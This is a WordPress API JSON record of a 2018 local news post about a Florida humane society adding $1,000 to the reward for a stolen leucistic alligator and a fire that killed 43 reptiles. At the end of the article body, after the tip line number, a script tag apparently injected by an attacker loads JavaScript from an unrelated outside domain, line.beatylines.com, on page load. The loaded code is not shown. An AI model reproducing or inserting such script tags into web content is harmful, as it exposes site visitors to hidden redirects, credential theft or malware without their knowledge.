{"id":219520,"date":"2018-07-03T11:01:01","date_gmt":"2018-07-03T15:01:01","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host?p=219520&#038;preview=true&#038;preview_id=219520"},"modified":"2018-07-03T11:03:51","modified_gmt":"2018-07-03T15:03:51","slug":"sumter-county-human-society-adds-1k-to-reward-for-stolen-gator","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/sumter-county-human-society-adds-1k-to-reward-for-stolen-gator\/","title":{"rendered":"Sumter County Humane Society Adds $1k to Reward for Stolen Gator, Reward now $8,500"},"content":{"rendered":"<p><strong>BUSHNELL, Fla.\u00a0<\/strong>&#8212; The Sumter County Humane Society joined the hunt for the suspect responsible for the <a href=\"https:\/\/wordpress-1.tempurl.host\/suspects-steal-rare-alligator-and-set-building-ablaze-killing-43-other-reptiles\/\">theft of a rare white alligator and the death of 43 other reptiles<\/a>, adding $1,000 to the <a href=\"https:\/\/wordpress-1.tempurl.host\/7500-reward-offered-for-suspect-responsible-for-theft-of-rare-gator-and-death-of-43-others\/\">$7,500 reward being offered<\/a> for their capture.<\/p>\n<p>The suspect is wanted after breaking into a reptile facility in Bushnell on June 22 and stealing a rare leucistic alligator named &#8220;Snowball&#8221;.<\/p>\n<p>Before leaving the building, the suspect also set the building on fire for an unknown reason resulting in the death of 43 other reptiles including other alligators and crocodiles.<\/p>\n<p>The Sumter County Humane Society added the extra funds to the reward bringing the total reward to $8,500 offered to anyone with information leading to the arrest of the person or persons responsible for the horrific incident.<\/p>\n<p>&#8220;These terrible crimes against animals are absolutely unacceptable.\u00a0 The\u00a0individual(s) responsible for this needs to be captured immediately and we hope the\u00a0 missing alligator will be safely recovered&#8230;we are asking for community help with any information which could help\u00a0bring justice to these innocent victims,&#8221; the society&#8217;s Chairman, Celine Petrie stated,<\/p>\n<p>Anyone with information that could help find the suspect is asked to contact the Sumter County Sheriff&#8217;s Office or they can remain anonymous by calling Crimeline at 1-800-423-TIPS.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Sumter County Humane Society joins the hunt for the person or persons responsible for the theft of a rare white alligator and the death of 43 other reptiles by adding $1,000 to the reward.<\/p>\n","protected":false},"author":1,"featured_media":219384,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[1],"tags":[451,26,747,440,2137,1863,107,3394,119,319,3393],"class_list":["post-219520","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-local","tag-alligator","tag-bushnell-2","tag-crimeline","tag-gator","tag-humane-society","tag-reward","tag-scso","tag-sherifff","tag-sumter","tag-theft","tag-white-alligator","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/gator-1.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219520","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=219520"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219520\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/219384"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=219520"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=219520"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=219520"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}